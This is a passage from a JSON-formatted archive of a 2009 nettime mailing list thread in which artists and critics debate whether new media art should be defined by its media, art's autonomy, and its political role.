and belief of the many - which is a lot,\nwhen we're talking China. So you want new media? Replay your avi file of\nthe opening ceremonies of the 2008 Olympics.\n\nWhat I am trying to get at with all of this is that art is essentially\nmedia, it is not merely but essentially about communication, only what is\ncommunicated is not just a phrase or a slogan or a piece of information,\nbut a problematic attempt to reconfigure a world on every level of sensate\nand imaginary experience. That can be an attempt to fit in or to stick out,\nto harmonize or to disrupt, to smash the current relation of self and\nsociety or to conserve it or to invent another one; but insofar as art is\nexpression, it always projects this struggle over the shape and balance of\na world towards the ears and eyes and excessive imaginations of others.\nWhen we say that art is autonomous, we situate it in the long democratic\ntradition where the self, autos, tries to help establish the law, nomos,\naccordingly which it can freely develop in the company of fellow human\nbeings. Now, the problems of this attempt at autonomy are almost infinite,\nthey are sexual, technical, ecological, emotional, mystical, contractual,\nmaterial, they involve philosophy, science, babies, great art and also the\nplumbing. And they always involve the relations of individuals and groups\nto others whose worlds they do not understand, whose rhythms they do not\nfeel pulsing in their own veins, whose tacit concepts of harmony and\ndisruption are not expressed by the same patterns and shapes and colors and\ncombinations of tones. So when I say, Wow, great art - as I often do, just\nthe way people in the new media arts circles have done for years at\nfestivals sponsored by Philips and Microsoft and Sony and the like - the\nfirst consequence for me is to inquire into the world from which that art\narises and to which it points, and eventually to see how I fit into or\ndesire to break out of that world.  This means that a deep and searching\ncriticism can never just be criticism of the work, it always has to look\nfurther back, into the world from which it sprang, and ahead to the\nconsequences of a potential change in the worlds we share, or at least to\nthe consequences of a change in the way that *I* or *we* will relate to\nother worlds in the future.\n\nFinally, it seems to me, in my anarcho-democratic world, that to say Wow,\ngreat art, without inquiring into the consequences, is one of the closest\nthings one can do to never getting out of bed, i.e. it's close to\nsleepwalking.  Because at best, you would then be just letting the great\nart fit into your own great dream, or letting it be the colorful and\nstriking tattoo that will fit you into your small chosen circle. That's at\nbest - because in the present world of biopower and noopower, just admiring\na work in itself and for itself can mean accepting without question the\nworld that it mediates, which in the case of the networked technologies\nsold by Sony and Microsoft Philips and abused by a vast array of\ncorporations and governments, can be an extremely predatory world,\nconfigured precisely in order to capture your consciousness and extract\nsome value or utility out of your passions and dreams. Value that can\nultimately be devastating for the collectivity (as in the debt-fueld\nconsumption boom of this decade), utility that can make you into the most\nterrible of instruments (like the voters lured by nationalist rhetoric into\nsupporting our proliferating wars).\n\nIt has been years since I read Lev Manovich, so what follows may be totally\nunjust to his work, but as I recall, what always irritated me in his\nwriting was a kind of smug insistence that the new media were essentially\ndefined by a certain kind of rhythm, a certain multiplication of screens, a\ncertain connection to databases, etc. - in other words, that the new media\nwere essentially defined by the dominant trends of contemporary capitalist\nsociety. For me this seemed like a total abdication of criticism itself,\nand it also seemed to be a sort of cheerful, \"I'm on the winning side\"\nversion of the dark technological determinism and philosophical doomsaying\npromoted by the post-Leftist thinkers in the wake of Baudrillard. What I\nmissed was the very question of autonomy, and some recognition of its\nquasi-infinite complexities as they've been ceaselessly developing from the\nNeolithic to now, in the long and discontinuous series of messages passed\nfrom human world to human world. Imho, the poverty of new media art - its \n\"crisis\" - has intrinsically to do with the poverty of media \ncritique tout court. It is the failure to see how the cultural politics of\nindividuals and groups are mediated in the work, how they are expressed at\nevery level of their ineluctable complexity and excess over the \"mere\ncommunication\" of what already exists.\n\nbest, Brian\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00062",
                                        "date": "Tue, 19 May 2009 15:44:02 +0200",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "4A12B7A2.7080003 {AT} wanadoo.fr",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00062.html",
                                        "content-type": "text/plai",
                                        "author_name": "Brian Holmes",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                                    },
                                    {
                                        "from": "Michael H Goldhaber <mgoldh {AT} well.com>",
                                        "content": "\nThanks for some beautiful and thought-provoking statements, especially  \nBrian\u2019s and Carlos\u2019s. I would add that to me the real medium of all  \nart is attention, attention the viewer or reader or listener must pay,  \nfeels consciously drawn to pay, in a deepening and all encompassing  \nway. That attention amounts to a transformation of self \u2014 into the  \nmind and body of the artist, as it were. The rest of the world falls  \naway for that moment, and so does time \u2014the moment might be a long one  \n\u2014and,a s Brian suggests will recur  later on, in recollection and  \nreflection.\n\nIf that is art, it is always political, because it always takes the  \nattention payer out of the \u201csystem,\u201d whatever it might be and however  \nmuch the managers of the system in fact solicited the artist  or the  \nwork to begin with. The huge abstract paintings of the 1950\u2019s cold  \nonly fit on the walls of the rich, but nonetheless, as long as they  \nwere there, they took over those walls, and made the space different  \nfrom what the collector might have intended, and the same goes for  \nRenaissance art and art of other periods.\n\nThe reason different media come in is that the artist has an on-going  \nproblem as to how to capture attention as distractions and competition  \nmultiply. In some way, to be really focussed on, art must avoid being  \ntoo easy to experience, for then it can become just the background,  \njust decoration or elevator music, or something that can always be  \nattended to \u201clater\u201d \u2014 I.e., usually never. This is  a serious and  \nsignificant problem for new media as well, including much Internet art.\n\nExpressly political art can only succeed, it seems to me, if it comes  \nfrom the inner depths.  For instance, I just finished reading Istvan  \nKertesz\u2019s \u201cFatelessness;\u201d I don\u2019t think it is intentionally political  \nbut it certainly made me boil with anger at the human mistreatment and  \nneglect of others. Such art brings what was already there inside us  \nand adds to its centrality. But that doesn\u2019t happen often. In my  \nexperience most political art is superficial and therefore bad, just  \nas likely to turn off sympathetic feelings in the viewer as the  \nopposite.\n\nIncidentally,  I don\u2019t know that good art necessarily causes us to  \nthink \u201cWow! I admire that.\u201d But it doesn't easily let go of us.\n\n\nBest,\nMichael\n\nOn May 19, 2009, at 6:44 AM, Brian Holmes wrote:\n\n> carlos katastrofsky wrote:\n>\n>> if i see some really good \"political art\" the first step is to admire\n>> it (wow, great work) and then to think about consequences. art is\n>> something autonomous. to me such an approach would free it from being\n>> a mere form of communication, a medium, or \"new media art\". but at  \n>> the\n>> same time it can be all of that.\n>\n> What does one admire a piece of art? What is its autonomy?  And what  \n> could\n> be its consequences? I have asked myself these questions for years.  \n> Like\n> most thinking people, I have come to a few conclusions. And since I  \n> like\n> the idea that art can be \"all of that\" - a form of communication, a  \n> medium,\n> new media art - I would like to share these conclusions with you.\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00064",
                                        "date": "Tue, 19 May 2009 12:30:11 -0700",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "F6688CA9&#45;F000&#45;49A8&#45;9176&#45;5F62EC6DF50A {AT} well.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00064.html",
                                        "content-type": "text/plai",
                                        "author_name": "Michael H Goldhaber",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                                    },
                                    {
                                        "from": "eyescratch <eyescratch {AT} gmail.com>",
                                        "content": "\nOn Tue, May 19, 2009 at 9:44 AM, Brian Holmes <brian.holmes {AT} wanadoo.fr> wrote:\n\n> So you want new media? Replay your avi file of the opening\n> ceremonies of the 2008 Olympics.\n>\n> What I am trying to get at with all of this is that art is\n> essentially media, it is not merely but essentially about\n> communication, only what is communicated is not just a phrase or\n> a slogan or a piece of information, but a problematic attempt\n> to reconfigure a world on every level of sensate and imaginary\n> experience.\n\nMuch of media studies is obsessed with witnessing an existence that is\npart of mediality, to borrow a term from the previous discussion, by\nplacing great emphasis on inserting the observer into the equation.\nNevertheless these studies formulate a distinction to preserve some\nauthorship role. What this kind of representational relationship\nignores is that it precludes any kind of intervention in favor of a\nconservation. If the art cannot be conserved because it is conceptual\nor a piece of code, the identity of the author is preserved and\ncelebrated. This is because a piece of media arrives at its monetary\nvalue by being bundled with products that claim to correct the\ninjustices, needs, or ailments being described in that piece of media.\nThe media is monetized either for its value of showing a certain lack\nor showing the idealized completion that a product might fulfill. An\nauthorship identity, it turns out, can fulfill this marketing function\nnicely for the lack of any particular object that might or might not\nexist or lacks monetary value, culminating it seems these days in a\nguarded wikipedia entry.\n\nTurns out, while searching for a word to describe the process of\nentering into communication via media I looked up mediated. There is\nplenty of secondary literature on McLuhan using this word to capture\nthe processes McLuhan describes, but he himself only uses the word\nmediated with the original definition to describe the arbitration\nthat happens in a conflict. Using the term mediated in the sense that\na form of communication is performed via media, still implies that\nthere is an exchange occurring where each party must sacrifice some\nof their preconceptions in a productive process that is manufacturing\nrepresentation. Otherwise this representation veers very quickly\ntowards the ideological.\n\nhTTp://eyescratch.tk\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00069",
                                        "date": "Sat, 23 May 2009 10:30:31 -0400",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "79976e5a0905230730j58fc5bdes611529b066f69590 {AT} mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00069.html",
                                        "content-type": "text/plai",
                                        "author_name": "eyescratch",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                                    }
                                ],
                                "from": "Rama Hoetzlein <rch {AT} umail.ucsb.edu>",
                                "content": "i agree.. i'm new to nettime, but following it silently until now, and \nhave been doing research in this area.\nhere are a few earlier notes i've made on this topic:\n   http://www.rchoetzlein.com/theory/\n\nin my view, the problem is that new media theory - the theory side \nanyway (not the art) - is largely defined by what we read from new media \ntheorists, such as lev manovich and baudrillard. yet these philosophers \ndo their primary work in \"media theory\" itself, that is the \nanthropological study of how media influences culture. thus, their \ncentral message is that media has meaning, and meaning changes culture:\n\n\"True, art is on the periphery for me. I don't really identify with it. \nI would even say that I have the same negative prejudice towards art \nthat I do toward culture in general. My point of view is \nanthropological. From this perspective, art no longer seems to have a \nvital function; it is afflicted by the same fate that extinguishes \nvalue, by the same loss of transcendence.\"  - Jean Baudrillard\n\ni do not deny their contributions to media theory of course, but despite \nthe fact that they may be open about their field of study (as this quote \nshows), the new media arts has not moved to define itself as an \"art \nform\", but rather defines itself in terms of media. of course, as an \nartist, i disagree about defining media art in such post-modernist terms \n(that is, purely as an outgrowth of culture). contrast the view of art \nabove with this one:\n\n\"The activity of art is based on the fact that one, receiving through \nhis or her sense of hearing or sight another's expression of feeling, is \ncapable of experiencing the emotion which moved the one who expressed \nit.\" - Leo Tolstoy\n\nNew media art should be defined from an art-philosophical perspective. \nIn this view, meaning is present in all works, to varying degrees, \nregardless of how they might be appropriated by culture. At what time is \nhistory was art not appropriated by culture? None the less, people \ncontinued to create art. The process of art-making is one of creating \nmeaning, and this relation between the artist and the work is not \nchanged despite how the object is ultimately appreciated, used, or \nabused by culture.\n\n-rama hoetzlein\n\n\ncarlos katastrofsky wrote:\n \n> what i am always wondering about is why the media arts field is so\n> concerned with its media. is dealing with \"new media\" or \"old media\"\n> an excuse for making good or bad art? IMO defining art by its media\n> is on the same level as defining art by its subject. not getting over\n> these definitions will result in a ghetto-situation sooner or later.\n> the problem -IMHO- is not that media art is not recognized by the fine\n> art world but that the fine art world is dealing with other subjects.\n> when was the last big exhibition dealing solely with \"painting\" or\n> \"sculpture\" you've seen? ars electronica and the others are doing that\n> every year: \"new media art\" with changing subtitles.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00051",
                                "date": "Sun, 17 May 2009 11:48:02 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4A105BE2.9050609 {AT} umail.ucsb.edu",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00051.html",
                                "content-type": "text/plai",
                                "author_name": "Rama Hoetzlein",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                            },
                            {
                                "follow-up": [
                                    {
                                        "from": "carlos katastrofsky <carlos.katastrofsky {AT} cont3xt.net>",
                                        "content": "> I am not so sure whether I agree. It all depends on your definition of\n> \"media\". The problem is that the word \"media\" means quite different things\n> in different contexts:\n\ni agree. but exactly this is the point: media theory is swallowing\neverything, but where are its boundaries? what i am trying to find as\nartist (neither theorist nor philosopher) is a definition for art that\ngoes beyond a mere definition as \"media\" in whatever sense.\nthat is why i am aiming on the much-maligned term of \"autonomy\" (and\ni'm following here the previous mentioned philosophy of j.\nrebentisch). to me this doesn't mean art is somewhat apolotical or\ndealing solely with itself (l' art pour l'art - i guess you had this\nin mind when stating \"[...] If the basic quality of art - in the sense\nof 'Fine Art' - lies in its self-reference to its own system, then it\nwould be something very narrow and ultimately boring, [...]\"). art is\nmade to be seen/heard/whatever - to be experienced. and this\nexperience is what defines art and not media. it can change in time\n-we quite surely don't experience cave paintings in the same way the\nones did who made them- but i'm not sure if \"the media\" does, no\nmatter if it's read as \"painting/drawing\" or as \"hunting scene\". what\ni am hoping to find by this is a possibility to think about \"art\" and\nneither media nor porn or politics. these are -let's say- \"themes\"\nthat can be interpreted, but i hope that art goes beyond being a good\ndesigned set of political opinions. i mean, what political context is\nreflected in leonardo's \"last supper\"? we surely can speculate but do\nwe know? these are things that are bound to their time and context but\nnevertheless we still percieve it as \"art\".\n\n> If I take, for example, the subjects of the last nine transmediale\n> festivals (\"Do It Yourself\",\n[...]\n> One could just as well say that contemporary art deals with \"white cube\n> installation art\" with changing subtitles.\n[...]\n> The same terms abound in the contemporary art discourse if you read, for\n> example, \"October\" or \"Texte zur Kunst\".\n\nyep, exactly. and this what the \"art world\" makes as boring as \"new\nmedia art\". what i had in mind when saying that the \"fine art world is\ndealing with other subjects\" was not the (i would like to call it\nnonexistent) contemporary discourse. what can be seen in the fine arts\nfield (but not in the big biz -documenta, ps1, kw, ...) is an\ninclusion of possibilities in expression and perception which i never\nsaw in any media-art discourse (though i have to admit i am far from\nfollowing everything in that area).\n\n> Not knowing the full context of this quote, I nevertheless find such\n> systemic definitions of art quite risky. If the basic quality of art\n> - in the sense of 'Fine Art' - lies in its self-reference to its own\n> system,\n\ni'm sorry if this comes through that way, i'm not the best in\nformulating things. i never wanted to present art as solely\nself-referential system. if autonomy is read as autonomy of the object\n(l'art pour l'art) i would agree totally with you. but seen from the\nviewpoint that \"art\" may not lie in an object but somewhere between\nthe object and the observer (experience, perception) an autonomy of\nart is essential.\n\n\nthank you all for your replies :-)\n\nbest,\ncarlos\n-- \nhttp://katastrofsky.cont3xt.net\nhttp://cont3xt.net\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00061",
                                        "date": "Tue, 19 May 2009 15:14:35 +0200",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "fb9095bf0905190614l39062a34j17867e0d82469c5f {AT} mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00061.html",
                                        "content-type": "text/plai",
                                        "author_name": "carlos katastrofsky",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                                    },
                                    {
                                        "from": "Station Rose <gunafa {AT} well.com>",
                                        "content": "\nOn Sunday, May 17 2009, 10:59 (+0200), florian cramer wrote:\n\n>If I take, for example, the subjects of the last nine transmediale\n>festivals (\"Do It Yourself\", \"Go Public\", \"Play Global\", \"Fly\n>Utopia\", \"Basics\", \"Reality Addicts\", \"Unfinish\", \"Conspire\", \"Deep\n>North\"), they could just as well have been the names of contemporary\n>art exhibitions at PS.1 in New York, KW in Berlin, Witte de With in\n>Rotterdam, or any other contemporary art space.\n\nbut it wasnt like that cause it was happening ONLY in a festival     .\n<ghetto> situation                                                   .\n\nas I see it, many art people are not going to events like\ntransmediale, cause its not seen as an important place for art. I dont\ngo, besides when we are actively part of it.\n\nlooks like media art is not sexy enough. the exhibits, as part of\nfestivals, are often too prudish. everything sensual seems forbidden,\n\ntoo often it s needs written explanations to understand the\n(political) work.\n\nI do not believe - and I say that as an artist- that the written word\nis necessary to <understand> a piece of art.it can help and make\ndetails transparent, but its not necessary in advance.\n\n\nmy own experience with Station Rose media art projects-like recently\nLogInCabin in MAK Vienna- is : they are recognized & seen in art\nspaces, museums by the art scene, but not as much in a so called media\nart context as festivals are.\n\nbasically my impression is that as long as a dicussion like that one\ngoes on, it makes clear that the art world is something and the media\nart scene is out of it.\n\n\n-- \n----------------------------------------------------\nStation Rose     digital_audio  - visual art      http://www.stationrose.com\n....................    Gary Danner & Elisa Rose\n\nFrankfurt   - Cyberspace -  Vienna.\n\n* recent project: 20 Digital Years. \"LogInCabin\" mediascultpure at \nMAK Vienna_sold\n* new: \"Interstellar Overdrive CD\" Japan release (2.09)\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00072",
                                        "date": "Sun, 24 May 2009 13:52:26 +0200",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "a06200701c63ee015f460 {AT} [192.168.1.100]",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00072.html",
                                        "content-type": "text/plai",
                                        "author_name": "Station Rose",
                                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                                    }
                                ],
                                "from": "lorian Cramer <fc-nettime {AT} pleintekst.nl>",
                                "content": "\nOn Sunday, May 17 2009, 10:59 (+0200), carlos katastrofsky wrote:\n\n> what i am always wondering about is why the media arts field is so\n> concerned with its media. is dealing with \"new media\" or \"old media\"\n> an excuse for making good or bad art? IMO defining art by its media\n> is on the same level as defining art by its subject. not getting\n> over these definitions will result in a ghetto-situation sooner or\n> later.\n\nI am not so sure whether I agree. It all depends on your definition of\n\"media\". The problem is that the word \"media\" means quite different\nthings in different contexts: In the arts, it traditionally refers\nto the material means of expression from which artworks are created\n[painting, sculpture, photography, video, performance - that were also\nthe media meant with such terms as \"intermedia\", \"mixed media\" and\n\"multimedia\" since the 1960s]. In communication studies, \"media\" is\npractically synonymous with mass media and refers to an apparatus and\nsystem of communication, including newspapers, radio, TV, Internet.\nIn other humanities, there is a notion of media as any symbolic or\nsemiotic carrier.\n\nFor example, in the contemporary art (but not media art) world,\nthere just has been a series of exhibitions on pornography, from\n\"BodyPoliticx\" in Rotterdam to \"The Porn Identity\" in Vienna. One\ncould call pornography a medium and thus say that these exhibitions\nwere curated from a media perspective. After all, the ars electronica\ndid almost the same thing with its \"Next Sex\" theme in 2000. Or, a\nrandom example taken from just having browsed the Tate Modern site\nand its blurb on the current exhibition \"Stutter\": \"The onomatopoeic\nword 'Stutter' refers to an act of speech interrupted by agitated,\nspasmodic, or involuntary repetitions. As the title for this\nexhibition, it suggests a metaphor for questions of disruption and\ndiscontinuity in processes of thought, systems of communications\nor conceptions of knowledge.\" Again, this is pretty close if not\nidentical to curatorship from a media and communications viewpoint.\n\n> the problem -IMHO- is not that media art is not recognized by the\n> fine art world but that the fine art world is dealing with other\n> subjects.\n\nIf I take, for example, the subjects of the last nine transmediale\nfestivals (\"Do It Yourself\", \"Go Public\", \"Play Global\", \"Fly Utopia\",\n\"Basics\", \"Reality Addicts\", \"Unfinish\", \"Conspire\", \"Deep North\"),\nthey could just as well have been the names of contemporary art\nexhibitions at PS.1 in New York, KW in Berlin, Witte de With in\nRotterdam, or any other contemporary art space.\n\n> when was the last big exhibition dealing solely with \"painting\" or\n> \"sculpture\" you've seen? ars electronica and the others are doing\n> that every year: \"new media art\" with changing subtitles.\n\nOne could just as well say that contemporary art deals with \"white\ncube installation art\" with changing subtitles.\n\n> the same problem persists when new media artists and theorists\n> insist on \"politicalness\" and \"radicality\".\n\nThe same terms abound in the contemporary art discourse if you read,\nfor example, \"October\" or \"Texte zur Kunst\".\n\n> those terms don't say anything about certain works either, no matter\n> which media is used in it. they only say that they may be recognised\n> as \"political\" in a certain time in a certain context.\n\nIMO art is, like any public expression, always political. Art that\nclaims not to be political being all the more political as a matter\nof fact (with symbolist l'art-pour-l'art being a prime example). What\nI would describe as the political-artistic quality in the art of,\nfor example, ubermorgen is that unlike 'actual' politics, it can be\nwillfully and even criminally irresponsible. One could admittedly\ndismiss this as a romanticist argument, but it has nevertheless a lot\ngoing for it, not just if we look at gothic aesthetics and Bataille's\naesthetics of evil, but also at more recent artistic practices like\nOtto Muehl's commune and Eastern European art since the 1980s.\n\n> but that doesn't say anything about it's \"artness\" either. \"art\n> doesn't become art by having specific characteristics but by a\n> specific kind of processual reference to it.\" (J. Rebentisch,\n> Aesthetik der Installation)\n\nNot knowing the full context of this quote, I nevertheless find such\nsystemic definitions of art quite risky. If the basic quality of art\n- in the sense of 'Fine Art' - lies in its self-reference to its own\nsystem, then it would be something very narrow and ultimately boring,\nand something already exhausted by Duchamp in the 20th century. It\nwould pay a high price for having, since the 19th century, rid itself\nfrom more popular forms of visual culture. Such a definition does not\neven apply to the arguably most elitist forms of other contemporary\narts such as poetry and contemporary classical music, since poetry can\nstill be defined outside its own system as highly condensed/conjugated\nlanguage and new music as highly organized sound. - On top of that, it\nis an exclusively Western concept of art which blatantly contradicts\nthe post-1990s efforts of integrating postcolonial considerations into\ncontemporary art. Remarkable enough, these integrations never question\nthe concept of \"art\" itself - although the concept of autonomous art\nonly exists in Western cultures or as a Western cultural import in,\nfor example, Asian countries (which traditionally do not separate art\nfrom craft).\n\n> if i want to learn something about politics i would read a book with\n> proper information about it and not go to see art that repeats the\n> common sense that there are bad things existing in our world.\n\nTrue. Only that exhibitions like Documenta XI have been haunted by\nthis concept of art.\n\n-F\n\n-- \nblog:     http://en.pleintekst.nl\nhomepage: http://cramer.pleintekst.nl:70\n          gopher://cramer.pleintekst.nl\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00056",
                                "date": "Mon, 18 May 2009 23:04:49 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20090518210449.GJ3919 {AT} hp.localdomain",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00056.html",
                                "content-type": "text/plai",
                                "author_name": "Florian Cramer",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "John Hopkins <jhopkins {AT} neoscenes.net>",
                                "content": "carlos katastrofsky wrote:\n\n> what i am always wondering about is why the media arts field is so\n> concerned with its media. is dealing with \"new media\" or \"old media\"\n\nexactly Carlos...\n\nthis revolves around the common (still, ongoing, & perhaps permanent!)\nproblem of identifying creative impulses by their materialized remains\n(media, mediated forms).  There are precisely identical histories of the \nrise of\n(materially) specialized festivals, research centers, art school\ndepartments, workshop venues, etc etc -- photography, for example.\nWhere are all the institutions and organizations and events that swirled\naround that particular material result of creative impulse?  They are\ngone, gone, gone.  Abd the ones who remain -- does anyone think they are\ncenter for radical creative experimentation?  Most people don't even\nremember them.  the Rencontres Internationale de la Photographie and the\nEcole Nationale de la Photographie in Arles, etc etc, huh, who cares?\n\nwhen there is this material obsession, it is bound to be outmoded simply\nbecause things aren't IT, looking at the world as a bunch of things\ndoesn't reveal the phenomenal nature of life: another words, focusing on\nthe detritus that is left, dead, after the creative forces have altered\nthe local universe -- well it's simply a death cult and is a dead end.\n<<yawn>> why ponder on it?  Better to skip the material categorization\nprocess altogether 'cause it IS a dead end...\n\njh\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00065",
                                "date": "Wed, 20 May 2009 17:01:58 -0600",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4A148BE6.6070209 {AT} neoscenes.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00065.html",
                                "content-type": "text/plai",
                                "author_name": "John Hopkins",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                            },
                            {
                                "from": "ben.craggs {AT} fastmail.f",
                                "content": "\n> what i am always wondering about is why the media arts field is so\n> concerned with its media. is dealing with \"new media\" or \"old media\"\n> an excuse for making good or bad art? IMO defining art by its media\n> is on the same level as defining art by its subject. not getting\n> over these definitions will result in a ghetto-situation sooner or\n> later. the problem -IMHO- is not that media art is not recognized\n> by the fine art world but that the fine art world is dealing with\n> other subjects. when was the last big exhibition dealing solely\n> with \"painting\" or \"sculpture\" you've seen? ars electronica and the\n> others are doing that every year: \"new media art\" with changing\n> subtitles.\n\n <...>\n\nAn interesting addition to this would be the emergence of 'New, new\nmedia arts'. I am thinking here, of practices in the field currently\ndefining itself as bioart. Here the medium that is being manipulated\nis a form of living or sem-living matter, or tissue. Bioartist,\nEduardo Kac and curator Jens Hauser have sought to specifically\nidentify this new art practice, expressly on the basis of the medium\nitself. Bioarts, they argue, are most definitely are not those works\nthat take bios or a form of life, as a subject, but manipulate it as a\nmedium. That said, the manipulation of living tissue can be executed\nthrough a number of divergent practices, specific technologies, and it\nis these that seem to be defined by some as the media, not the living\ntissue they manipulate. I guess a somewhat simplistic comparison\nwould be between with identification of various 'digital media' in\nabstraction from the advances in computer technology on which they are\nbased.\n\nMy current work in the field of bioart is increasingly\npushing me towards a frustration at the distinction between\nart/science/media/technology/old/new that recurs in the majority of\nliterature, and if I am not wrong seems to predicate this current\ndiscussion. In the light of these new practices I have been working\ntowards re-imagining what art and media are in themselves, as\ntechnologies and processes not as distinct practices - the specific\nmedia or declared purpose seem less relevant from this perspective. So\nI wonder whether 'meaning is present in all works, to varying degrees,\nregardless of how they might be appropriated by culture' could be\nextended beyond a simple valorisation of art.\n\nIt also seems that those new media theorists, such as Manovich and\nBaudrillard are somewhat restricted in their approach in that new\nmedia is perceived in a somewhat teleological sense, newness for\nthe sake of newness, with new theories to match new media - without\nasking what is actually recurring in new media. IMO it seems that\nmost new media, are really just old media anyway, particularly so in\nbioart. Is the creative growth of tissue not what we do continually\nas part of our natural bodily processes? Would it be facetious\nthen to ask whether all media be considered from this originary\nperspective, negating the discussions about relative newness or\ncultural categorization (ie i's art, it's science, it's technology,\nit's media).\n\nBen\n\n\n\n-- ---------\n  Ben Craggs\n  07868 273 360\n---------------\n  http://www.digitalscribblings.org/forums\n  A place for academic discussion, networking and general postgraduate procrastination!\n---------------------------------------------------------------------------------------\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00053",
                                "date": "Mon, 18 May 2009 08:42:05 +0100",
                                "to": "\"NetTime Mailing List\" <nettime-l {AT} kein.org>",
                                "message-id": "1242632525.29400.1315956661 {AT} webmail.messagingengine.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00053.html",
                                "content-type": "text/plai",
                                "author_name": "ben . craggs",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                                "content": "\nRama Hoetzlein wrote:\n\n> New media art should be defined from an art-philosophical\n> perspective. In this view, meaning is present in all works, to\n> varying degrees, regardless of how they might be appropriated\n> by culture. At what time in history was art not appropriated by\n> culture? None the less, people continued to create art. The process\n> of art-making is one of creating meaning, and this relation between\n> the artist and the work is not changed despite how the object is\n> ultimately appreciated, used, or abused by culture.\n\nIt's great to read such a fundamental comment. I shall add something.\nMy viewpoint includes both Tolstoy's and Baudrillard's. I find that\ninformatic art (my own off-the-cuff term, but surely better than new\nmedia) is compelling precisely when it places subjective expression\nwithin the most strongly coercive social arena of our time, namely\nthe digital networks. Your idea that there is an art-philosophical\nperspective that could exclude or bypass social determinism seems,\nbegging your pardon, somewhat naive. What is more, I think all the\ninterest of art itself disappears when it is shorn from the contexts\nof power and held up as a pure conductor of subjectivity. Approached\nin that way, the art work tends to become no more than a mirror for\nour own emotions and fantasies -- far from any state of empathy,\nEinfuhlung or whatever one chooses to call it. So I am not surprised\nthat you move from Tolstoy's fascinating quote (reproduced below) to\nthe \"relation between the artist and the work.\" I guess I am more\ninterested in, well, media: the way the work relates the artist to\nothers.\n\nHowever, your observation about new media theory (Kittler and McLuhan\nwere recently mentioned here) is spot on. What we are given from\nthe podium, over and over again, are lessons about the power of\ntechnoscientific systems. The predicament of the human singularity,\ncaught within the net of determinisms yet resisting, creating another\nreality and expressing this rather fantastic adventure through\nwhatever kind of material or semiotic medium has been chosen, is left\nout of the story, which thereby becomes a monument to the 